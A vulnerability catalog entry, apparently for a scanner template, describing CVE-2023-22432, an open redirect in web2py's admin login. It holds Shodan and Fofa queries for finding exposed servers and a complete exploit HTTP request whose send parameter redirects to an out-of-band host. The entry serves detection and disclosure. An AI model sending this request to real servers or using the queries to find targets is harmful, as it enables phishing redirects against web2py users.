| Title | Web2py URL - Open Redirect |
|---|---|
| Author | DhiyaneshDK |
| Severity | Medium |
| Impact | Authenticated attackers can exploit open redirect through the send parameter to redirect users to malicious websites for phishing attacks. |
| Remediation | Update to web2py 2.23.1 or higher. |
| CVSS Score | 6.1 |
| EPSS Score | 0.38217 |
| CVE ID | CVE-2023-22432 |
| CWE ID | CWE-601 |
| Shodan Query | http.favicon.hash:-1680052984 |
| Fofa Query | icon_hash=-1680052984 |
| Tags | cve cve2023 web2py redirect authenticated vuln |
Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.
POST /admin/default/index HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 48
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
password=CYs5yE&send=%5C%2F%5C%2Foast.pro&login=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22432.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-22432.pcap
N/AN/A